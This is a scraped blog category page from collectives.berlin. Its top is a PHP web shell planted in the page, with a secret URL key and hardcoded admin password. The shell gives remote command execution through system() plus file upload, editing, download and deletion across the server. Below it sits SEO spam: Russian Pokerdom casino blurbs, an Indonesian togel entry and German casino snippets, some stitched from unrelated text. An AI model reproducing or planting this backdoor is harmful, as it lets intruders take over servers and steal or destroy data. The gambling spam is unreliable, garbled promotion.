if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 500A Z – Page 3 – collectives.berlin

Your digital paradise.

Category: 500A Z

  • Покердом — отзывы, игры и возможности платформы

    Покердом — отзывы, игры и возможности платформы Если система выводит уведомление о блокировке аккаунта, значит, вы нарушили правила игры в руме. Если же у вас проблемы с доступом к сайту, то вы можете выполнить вход и играть в Покердом, воспользовавшись любым актуальным зеркалом. В кассе игрокам доступны разные способы для пополнения счета и вывода средств.…

    Click or not…

  • Покердом казино — официальный сайт и обзор платформы

    Покердом казино — официальный сайт и обзор платформы В своем кабинете Вы можете менять доступные настройки, указывать информацию о себе, например, имя, дату рождения, номер телефона и др. Подтвердить аккаунт можно через письмо на e-mail или СМС. Сделать это вы можете с официального сайта клуба, выбрав подходящий формат файла и нажав кнопку «Скачать». Или же…

    Click or not…

  • Покердом — официальный сайт, зеркало и вход в аккаунт

    Покердом — официальный сайт, зеркало и вход в аккаунт Верификацию стоит проходить при сопровождении службы поддержки в чате. Кнопки для активации большинства опций находятся под аватаром игрока. Отдельные функции вынесены в пункт главного меню «Настройки». Есть кнопка для быстрой посадки за несколько столов сразу. Одновременно можно открыть любое количество столов. Софт рума Покердом — один…

    Click or not…

  • Покердом — официальный сайт, вход и актуальная информация

    Покердом — официальный сайт, вход и актуальная информация Она предусматривает предоставление клиентам одинаковых условий для игры. Поэтому никто из них не может играть в покер онлайн и использовать сторонние приложения и софт, в том числе трекеры с HUD. После регистрации и входа вы сможете проводить любые финансовые транзакции. Для пополнения счета нажмите верхней части сайта…

    Click or not…

  • Покердом казино онлайн — игровые автоматы и популярные игры

    Покердом казино онлайн — игровые автоматы и популярные игры Достаточно вовремя зарегистрироваться и занять место за столом. У бесплатных событий есть сильные и слабые стороны. Основные из них рассмотрены в сравнительной таблице. пароль для фриролла Покердом В первых может свободно участвовать любой желающий. В таких событиях всегда есть ограничения по количеству участников. Но в некоторые…

    Click or not…

  • Покердом онлайн — игры, вход и основные возможности

    Покердом онлайн — игры, вход и основные возможности Один из поддерживаемых форматов в нашем покер руме — кеш-игры. Они проходят по всем перечисленным выше дисциплинам. В них можно моментально сорвать банк, который формируется за счет ставок игроков и к шоудауну нередко достигает крупных размеров. Удобная внутриплатформенная система платежных инструментов позволяет игрокам переводить деньги между собой.…

    Click or not…

  • Покердом — сайт, регистрация и вход для игроков

    Покердом — сайт, регистрация и вход для игроков Мобильная версия по функционалу не отличается от десктопной. Просто откройте casino со своего смартфона и наслаждайтесь игровым процессом. Можно поиграть в популярные версии рулетки, покера, баккары и блэкджека. Также поддерживаются интерактивные Лайв-шоу — Lightning Storm, Crazy Time, Crazy Coin Flip, Crazy Pachinko и другие. Владельцы платформы стараются…

    Click or not…

  • Togel online — daftar pilihan permainan terbaru

    Togel online — daftar pilihan permainan terbaru Potensi pasar yang luas ini memungkinkan bisnis untuk tumbuh lebih besar.4. Dapat Diperbarui Dengan Mudah 😃Melalui situs, informasi dapat diperbarui dengan mudah dan cepat. Ini memungkinkan pengguna untuk selalu mendapatkan informasi yang up-to-date.5. Menambah Kredibilitas 😃Situs dapat meningkatkan kredibilitas bisnis atau pun individual dengan menampilkan informasi yang akurat…

    Click or not…

  • Casino online — Übersicht beliebter Casinospiele

    Casino online — Übersicht beliebter Casinospiele Frida Kahlo kennt fast jeder – aber welche anderen Künstlerinnen kennen Sie? Teilen Sie uns mit, welche Künstlerinnen mehr Aufmerksamkeit verdienen. Mehr noch als Gewalt und Zerstörung hat unseren Autor als Kriegsreporter die Hitze im Irak mitgenommen. »Wir warten nur auf unseren Tod«, sagen ihm Menschen, die er traf.…

    Click or not…

  • Online Casino — beliebte Spiele im Überblick

    Online Casino — beliebte Spiele im Überblick Online Slots mögen auf den ersten Blick einfach erscheinen, doch unter der Haube steckt eine ausgeklügelte Technologie. Das Herzstück jedes Online Slots ist der Zufallszahlengenerator (RNG). Megaways-Slots basieren auf einem Mechanismus von Big Time Gaming, bei dem die Anzahl der Symbole pro Walze bei jedem Spin variiert –…

    Click or not…